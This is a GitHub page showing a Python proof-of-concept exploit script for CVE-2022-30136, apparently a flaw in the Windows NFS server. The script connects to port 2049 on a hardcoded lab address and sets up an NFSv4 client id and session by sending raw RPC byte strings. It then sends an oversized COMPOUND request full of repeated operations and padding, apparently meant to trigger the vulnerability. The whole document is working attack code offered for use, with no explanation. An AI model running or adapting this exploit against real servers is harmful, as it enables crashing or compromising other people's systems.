-
Notifications
You must be signed in to change notification settings - Fork 13
/
CVE-2022-30136.py
139 lines (105 loc) · 4.41 KB
/
CVE-2022-30136.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import socket
import sys
import binascii
import time
import struct
TARGET_IP = "192.168.126.130"
port=2049
TEST_MSG = b"\x80\x00\x00\x4c\x00\x00\x00\x01\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd1\x44\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect((TARGET_IP, port))
sock1.send(bytes(TEST_MSG))
sock1.settimeout(1.0)
print("[+] Sent TestMSG for Async Call")
TEST_MSG=b"\x80\x00\x00\xc4\x00\x00\x00\x02\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd5\xd0\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \
b"\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \
b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \
b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \
b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \
b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \
b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00"
a=b""
sock1.send(bytes(TEST_MSG))
for i in range (4):
try:
a+=sock1.recv(1024)
except:
pass
index=a.find(b"\x2a")
print ("INDEX %s"%index)
clientid=a[index+5:index+13]
print("CLIENTID = %s"%clientid)
seqid=a[index+13:index+13+4]
#seqid = b'\x00\x00\x00\x01'
print("SEQID = %s"%seqid)
TEST_MSG=b"\x80\x00\x00\xd4\x00\x00\x00\x03\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x4f\x96\x8c\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \
b"\x00\x01\x00\x00\x00\x2b"+ clientid+ seqid+ \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x14\x00\x10" \
b"\x03\x88\x00\x00\x0b\x34\x00\x00\x00\x50\x00\x00\x00\x80\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x40\x00" \
b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x3e\x4a\xf4\xb9\x00\x00" \
b"\x00\x0f\x44\x45\x53\x4b\x54\x4f\x50\x2d\x47\x43\x45\x36\x4f\x49" \
b"\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
#b"\x00\x00"
sock1.send(bytes(TEST_MSG))
a=b""
for i in range (4):
try:
a+=sock1.recv(1024)
except:
pass
index=a.find(b"\x2b")
print ("INDEX %s"%index)
session=a[index+5:index+5+16]
print("SESSION = %s"%session)
seqid = b'\x00\x00\x00\x01'
STRING2= 0x400 * b"B"
strlargo2=struct.pack(">L",len(STRING2))
pad= strlargo2 + STRING2
STRING3= 0x10 * b"A"
strlargo3=struct.pack(">L",len(STRING3))
pad3= strlargo3 + STRING3
print("pad3 = %r"%pad3)
num=50
oper= struct.pack(">L",2+num)
TEST_MSG2=b"\x00\x00\x00\x04\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x57\x45\xf3"+ pad3 + b"\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00" + pad3 + pad + b"\x00\x00\x00\x01" + oper +\
b"\x00\x00\x00\x35" + session+ seqid+ b"\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18"
TEST_MSG =b"\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \
b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \
b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \
b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \
b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \
b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x00"
TEST_MSG= TEST_MSG * num
final= b"\x00"* 0x4
largo=len(TEST_MSG2+TEST_MSG+final)
TEST_MSG1= b"\x80\x00"+ struct.pack(">h", largo)
print("LENGTH = " + hex(largo))
print("Bytelength = %r"%TEST_MSG1)
sock1.send(bytes(TEST_MSG1+TEST_MSG2+TEST_MSG+final))
time.sleep(5)